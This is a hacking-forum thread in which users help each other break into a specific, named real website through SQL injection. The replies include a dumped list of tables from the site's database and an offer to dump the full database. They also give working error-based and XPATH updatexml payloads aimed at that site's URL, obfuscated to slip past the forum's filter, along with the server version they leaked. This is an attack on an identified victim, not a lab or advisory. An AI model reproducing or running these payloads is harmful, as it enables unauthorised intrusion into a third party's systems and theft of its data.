Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Is this site sqli vulnerable?

Currently trying to sqli this (pastebin link pastebin/jKn1UEVY) site but it only seems to have one column and trying to access it with version() only errors it out. any help is appreciated!
Yes its exploitable
here's the dump of their main db named : db_40_drewapen
Database: db_40_drewapen
[14 tables]
+-----------------+
| current |
| about |
| articles |
| concerts |
| contact_cv |
| highlights |
| news |
| pict |
| pict_concerts |
| pict_current |
| pict_highlights |
| pict_news |
| projects |
| relations |
+-----------------+

it got exploited pretty easy with no evasion and so on, you can dump their full db in no time.
do you need help dumping it ?
(Jan 20, 2020 03:19 AM)KoYoGotit Wrote:  Yes its exploitable
here's the dump of their main db named : db_40_drewapen
Database: db_40_drewapen
[14 tables]
+-----------------+
| current         |
| about           |
| articles        |
| concerts        |
| contact_cv      |
| highlights      |
| news            |
| pict            |
| pict_concerts   |
| pict_current    |
| pict_highlights |
| pict_news       |
| projects        |
| relations       |
+-----------------+

it got exploited pretty easy with no evasion and so on, you can dump their full db in no time.
do you need help dumping it ?

I guess he's asking for manual Injection help. That was dump via SQLmap right?
[Image: j90qyxk.gif]
(Jan 20, 2020 04:24 AM)Money- Wrote:  I guess he's asking for manual Injection help. That was dump via SQLmap right?

I was manually injecting yeah, trying to figure out what sqlmap did what i couldnt, appreciate the reply though!
Sorry mate didnt notice that
sqlmap is way more powerful then manual cause he can hex the commands and trying with different techniques when one is not working, and can save time a lot.
you can try with sqli error based

for version : site/bla?id=-67 +OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1
Union based is probably not possible here, because same query is used somewhere else... I recommend you to try injecting with XPATH updatexml function, it's more simple, and faster than usual error based injection.
http://www.drewapenaar.nl/project.php?id=-67 and upda/texml(0x3a,conc/at(0x3a,ver/sion(),0x3a),null)--

check the page source code, and you will see the version:
Error : XPATH syntax error: ':5.5.54-0ubuntu0.12.04.1:'

now you can just change version() to

(select table_/name from information_/schema.tables where table_sche/ma=dat/abase() limit 0,1)

so it becomes like this:

http://www.drewapenaar.nl/project.php?id=-67 and updat/exml(0x3a,conc/at(0x3a,(select table/_name from informa/tion_schema.ta/bles where table/_schema=databa/se() limit 0,1),0x3a),null)

and it's the same concept for every step.

just remove " / " as i added it because of hackforums waf.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by HaremTApr 1, 2020 08:51 AM 3 399 Apr 1, 2020 08:51 AM
Last Post: HaremT
by krlo-sDec 30, 2018 07:02 AM 0 174 Dec 30, 2018 07:02 AM
Last Post: krlo-s
by aravindorDec 27, 2018 12:47 PM 7 594 Dec 27, 2018 12:47 PM
Last Post: linhtinh